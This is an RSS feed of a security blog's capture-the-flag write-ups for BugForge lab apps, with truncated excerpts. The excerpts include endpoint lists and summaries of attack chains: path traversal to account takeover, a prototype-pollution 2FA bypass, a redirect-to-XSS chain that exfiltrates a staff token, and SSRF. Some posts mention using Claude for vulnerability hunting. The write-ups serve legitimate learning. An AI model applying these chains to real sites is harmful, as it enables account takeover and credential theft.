<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>BugForge on johnmatrix</title>
		<link>https://johnmatrix.org/bugforge/</link>
		<description>Recent content in BugForge on johnmatrix</description>
		<generator>Hugo</generator>
		<language>en-us</language>
		
		
		
		
			<lastBuildDate>Tue, 28 Jul 2026 15:23:43 +0100</lastBuildDate>
		
			<atom:link href="https://johnmatrix.org/bugforge/index.xml" rel="self" type="application/rss+xml" />
			<item>
				<title>Cheesy Does It</title>
				<link>https://johnmatrix.org/bugforge/bf-cheesy-does-it/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-cheesy-does-it/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Welcome to today&amp;rsquo;s tasty lab!&lt;/li&gt;&#xA;&lt;li&gt;I have ordered a lot of pizzas doing this !!!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-cheesy-does-it/pizza-01_hu_c7c48a27c36030c3.webp 1x, https://johnmatrix.org/bugforge/bf-cheesy-does-it/pizza-01_hu_86203075fa5ecf7a.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-cheesy-does-it/pizza-01_hu_986023d3e3077e5d.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;714&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;As usual we can play around the page and check functionality&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;We can make a simple order and check how it works in Burp&lt;/p&gt;</description>
			</item>
			<item>
				<title>Cheesy Does It - Broken Logic</title>
				<link>https://johnmatrix.org/bugforge/bf-cheesy-does-it-broken-logic/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-cheesy-does-it-broken-logic/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Today&amp;rsquo;s lab made me want to have more pizzas!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;With this rate, and the broken logic today, I will have enough &lt;code&gt;dough&lt;/code&gt; (you get it?) to invest in a private coach :)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Cheesy Does It - XSS</title>
				<link>https://johnmatrix.org/bugforge/bf-cheesy-does-it-xss/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-cheesy-does-it-xss/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Third time visiting Cheesy Does It and today was a completely different beast&lt;/li&gt;&#xA;&lt;li&gt;I went down several rabbit holes before landing the flag - documenting those here because they&amp;rsquo;re quite instructive&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;reconnaissance&#34;&gt;Reconnaissance&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;SPA detected, 32 API endpoints extracted from the JS bundle&lt;/li&gt;&#xA;&lt;li&gt;Source map probe returned HTML (fake/disabled), so no raw source files available&lt;/li&gt;&#xA;&lt;li&gt;Beautified the main JS bundle and started reading&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;endpoints-discovered&#34;&gt;Endpoints Discovered&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/register              - Create account&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/login                 - Login (returns JWT)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/verify-token          - Verify JWT, returns user object&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/profile               - Update profile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/menu/pizzas           - Menu&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/payment/validate      - Card validation&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/payment/process       - Process payment&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/orders                - Place order&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/orders/:id            - View order&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/tickets               - Create support ticket&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/tickets               - List my tickets&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/tickets/:id           - View ticket + replies&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/tickets/:id/replies   - Reply to ticket&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/rewards               - Loyalty points&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/tickets         - Admin: list all tickets&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/users           - Admin: list users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/coupons         - Admin: coupons&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/stats           - Admin: dashboard stats&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/flag            - Admin: flag endpoint&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;js-analysis---the-critical-finding&#34;&gt;JS Analysis - The Critical Finding&lt;/h3&gt;&#xA;&lt;p&gt;Searching the beautified JS for dangerous patterns:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Copy Pasta - Broken Access</title>
				<link>https://johnmatrix.org/bugforge/bf-copy-pasta-broken-access/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-copy-pasta-broken-access/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Welcome to today&amp;rsquo;s challenge&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;I have decided to fully run it through &lt;code&gt;Claude MCP&lt;/code&gt; within Burp.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Since I have recently fallen in love with how &lt;code&gt;Claude Code&lt;/code&gt; works and behaves as well as what it can offer compared to &lt;code&gt;Codex&lt;/code&gt;, I felt it would be fitting to test it out&lt;/p&gt;</description>
			</item>
			<item>
				<title>Copy Pasta - SQLi</title>
				<link>https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Full send today - &lt;code&gt;Claude&lt;/code&gt; is having a crack at this!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy1_hu_49eeed037cfc2f18.webp 1x, https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy1_hu_9e15b07b0abb1b5c.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy1_hu_a3a68e094867df7d.png&#34; alt=&#34;&#34; width=&#34;1000&#34; height=&#34;220&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We are going for it.&lt;/li&gt;&#xA;&lt;li&gt;I directed &lt;code&gt;Claude&lt;/code&gt; to check for most common vulnerabilities first&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;sqli&#34;&gt;SQLi&lt;/h2&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy2_hu_478f98e325d02e47.webp 1x, https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy2_hu_e9af2858617e3ab0.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-copy-pasta-sqli/copy2_hu_6e556caad5820033.png&#34; alt=&#34;&#34; width=&#34;1000&#34; height=&#34;202&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>CopyPasta</title>
				<link>https://johnmatrix.org/bugforge/bf-copypasta/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-copypasta/</guid>
				<description>&lt;p&gt;Today&amp;rsquo;s challenge: Broken Access Control&lt;/p&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-copypasta/copy-01_hu_7119603dc03fbae5.webp 1x, https://johnmatrix.org/bugforge/bf-copypasta/copy-01_hu_a8ebe41e7324d60.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-copypasta/copy-01_hu_400a9ce00ac41f8f.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;1128&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We can register as usual&lt;/li&gt;&#xA;&lt;li&gt;As normal, we can click around the page to find more of the functionality&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-copypasta/copy-02_hu_4c111095d7a862a4.webp 1x, https://johnmatrix.org/bugforge/bf-copypasta/copy-02_hu_4cc9b3342fdc1883.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-copypasta/copy-02_hu_89b26a6ee464c12e.png&#34; alt=&#34;Daily2&#34; width=&#34;1000&#34; height=&#34;352&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>FurHire - CSPT to ATO &#43; 2FA Bypass</title>
				<link>https://johnmatrix.org/bugforge/bf-furhire-cspt/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-furhire-cspt/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;The &amp;ldquo;is CSPT real impact?&amp;rdquo; challenge - chain a Client-Side Path Traversal into account takeover, then walk through a prototype-pollution 2FA bypass to land on the flag&lt;/li&gt;&#xA;&lt;li&gt;Three primitives stitched together. None of them critical alone. Together they grant full ATO of a recruiter account&lt;/li&gt;&#xA;&lt;li&gt;This is the kind of chain that makes CSPT writeups in real bug bounty: GET-only-feeling primitive that quietly turns into a state-changing PUT once you find the right page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;support ticket -&amp;gt; bot visits /invite?...&amp;amp;inviteId=../../../account?email=ATTACKER&amp;amp;action=accept&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; bot&amp;#39;s browser fires PUT /api/account?email=ATTACKER (CSPT)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; bot&amp;#39;s email becomes ATTACKER@labs-app.bugforge.io&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; trigger /api/account/recover for ATTACKER email&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; read reset token from /api/emails (mail catcher)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; reset password&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; login with email-as-username&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; 2FA: send code:&amp;#34;__proto__&amp;#34; -&amp;gt; bypassed via prototype-chain walk&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  -&amp;gt; JWT in response -&amp;gt; flag&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;recon&#34;&gt;Recon&lt;/h2&gt;&#xA;&lt;p&gt;FurHire is a pet job board. Express SSR with inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks per page, JWTs in &lt;code&gt;localStorage&lt;/code&gt;, Socket.io for live notifications. Two roles: &lt;code&gt;user&lt;/code&gt; (job seeker) and &lt;code&gt;recruiter&lt;/code&gt; (posts jobs).&lt;/p&gt;</description>
			</item>
			<item>
				<title>FurHire - Open Redirect &#43; CSPT to XSS &#43; Token Replay</title>
				<link>https://johnmatrix.org/bugforge/bf-furhire-open-redirect-cspt/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-furhire-open-redirect-cspt/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;A second FurHire challenge, and a different chain from the &lt;a href=&#34;https://johnmatrix.org/bugforge/bf-furhire-cspt/&#34;&gt;CSPT-to-ATO writeup&lt;/a&gt;. This one is modelled on &lt;strong&gt;Grafana CVE-2025-4123&lt;/strong&gt; which is the &lt;code&gt;open redirect + client-side path traversal + XSS&lt;/code&gt; bug  and it ends with a twist most could miss.&lt;/li&gt;&#xA;&lt;li&gt;Four primitives stitched together: an open redirect behind a slash-blocking WAF, a client-side path traversal in a plugin loader, a script-injection sink that only executes JS from the right content-type, and a stolen staff token that reveals the flag in a &lt;strong&gt;response header&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;support ticket &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; moderator&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;s browser opens /apps?app=&amp;lt;CSPT payload&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; apps&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;js fetches &lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;api&lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;apps&lt;span style=&#34;color:#ff79c6&#34;&gt;/../../../&lt;/span&gt;public&lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;redirect?url&lt;span style=&#34;color:#ff79c6&#34;&gt;=/&lt;/span&gt;x&lt;span style=&#34;color:#ff79c6&#34;&gt;/..//&lt;/span&gt;cdn&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;jsdelivr&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;net&lt;span style=&#34;color:#ff79c6&#34;&gt;/&amp;lt;&lt;/span&gt;repo&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;gt;/&lt;/span&gt;manifest&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;json&lt;span style=&#34;color:#ff79c6&#34;&gt;%&lt;/span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;23j&lt;/span&gt;unk&lt;span style=&#34;color:#ff79c6&#34;&gt;=/&lt;/span&gt;manifest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; browser normalizes the &lt;span style=&#34;color:#ff79c6&#34;&gt;../&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; hits the open redirect&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;public&lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;redirect &lt;span style=&#34;color:#bd93f9&#34;&gt;302&lt;/span&gt;s to &lt;span style=&#34;color:#ff79c6&#34;&gt;//&lt;/span&gt;cdn&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;jsdelivr&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;net&lt;span style=&#34;color:#ff79c6&#34;&gt;/...&lt;/span&gt; (protocol&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;relative, off&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;origin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; apps&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;js reads manifest&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;module &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;lt;&lt;/span&gt;script src&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;jsdelivr module&lt;span style=&#34;color:#ff79c6&#34;&gt;.&lt;/span&gt;js&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; module runs &lt;span style=&#34;color:#ff79c6&#34;&gt;in&lt;/span&gt; the moderator&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;s browser WITH their staff token&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; module reads the token &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; profile, exfils via POST &lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;api&lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;register (same&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;origin, CSP&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;proof)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; attacker logs &lt;span style=&#34;color:#ff79c6&#34;&gt;in&lt;/span&gt; as the exfil user, recovers the staff JWT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; replay the staff token against ANY endpoint &lt;span style=&#34;color:#ff79c6&#34;&gt;-&amp;gt;&lt;/span&gt; flag is &lt;span style=&#34;color:#ff79c6&#34;&gt;in&lt;/span&gt; the X&lt;span style=&#34;color:#ff79c6&#34;&gt;-&lt;/span&gt;Flag RESPONSE HEADER&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;recon&#34;&gt;Recon&lt;/h2&gt;&#xA;&lt;p&gt;FurHire is a pet job board. Express SSR with inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks, JWTs in &lt;code&gt;localStorage&lt;/code&gt;, Socket.io for notifications, two roles (&lt;code&gt;user&lt;/code&gt;, &lt;code&gt;recruiter&lt;/code&gt;). The interesting surface is an &amp;ldquo;Insights Apps&amp;rdquo; feature and its &amp;ldquo;App Studio&amp;rdquo; - a plugin system that publishes a manifest + JS module to an internal content host.&lt;/p&gt;</description>
			</item>
			<item>
				<title>FurHire - SSRF</title>
				<link>https://johnmatrix.org/bugforge/bf-furhire-ssrf/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-furhire-ssrf/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Chains mass assignment (register as recruiter) with stored SSRF via &lt;code&gt;logo_url&lt;/code&gt; to bypass network-based access control on an internal reporting endpoint&lt;/li&gt;&#xA;&lt;li&gt;The trigger endpoint (&lt;code&gt;/api/company/:id/logo&lt;/code&gt;) is undocumented - discovery requires understanding how the app consumes the stored URL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;setup&#34;&gt;Setup&lt;/h2&gt;&#xA;&lt;p&gt;Grab your URL from the lab page (it looks like &lt;code&gt;https://lab-1777969600705-poba1k.labs-app.bugforge.io/&lt;/code&gt;) and export it so the commands below work copy-paste:&lt;/p&gt;</description>
			</item>
			<item>
				<title>FurHire - XSS</title>
				<link>https://johnmatrix.org/bugforge/bf-furhire-xss/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-furhire-xss/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;This one was a proper grind - multiple WAF bypasses, dead ends, and a complete pivot before finding the right path&lt;/li&gt;&#xA;&lt;li&gt;The challenge had an &amp;ldquo;upgraded WAF&amp;rdquo; protecting against common XSS patterns, which turned it into a WAF bypass + delivery mechanism puzzle&lt;/li&gt;&#xA;&lt;li&gt;The key lesson: finding a stored XSS payload is only half the battle &amp;ndash; the delivery mechanism matters just as much&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tech Stack&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Express.js backend, EJS templating, Socket.io for real-time notifications&lt;/li&gt;&#xA;&lt;li&gt;JWT auth (HS256, no expiration, role in payload, HttpOnly cookie)&lt;/li&gt;&#xA;&lt;li&gt;Two roles: &lt;code&gt;user&lt;/code&gt; (job seeker) and &lt;code&gt;recruiter&lt;/code&gt; (posts jobs)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Endpoint Discovery&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/register          - No auth (username, email, full_name, password, role)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/login             - No auth&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/logout            - Any&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/skills            - No auth&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/profile           - Auth required&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/profile           - User only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/profile/password  - User only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/company           - Recruiter only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/jobs              - Any (?search=&amp;amp;location=&amp;amp;job_type=)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/jobs              - Recruiter only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/jobs/:id          - Any&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/jobs/:id          - Recruiter (owner)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/jobs/:id/apply    - User only (cover_letter)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/jobs/:id/applicants - Recruiter only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/my-applications   - User only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/my-jobs           - Recruiter only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/saved-jobs        - User only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PUT  /api/applications/:id/status - Recruiter (status)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/flag              - Admin only (403 for user/recruiter)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Users&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 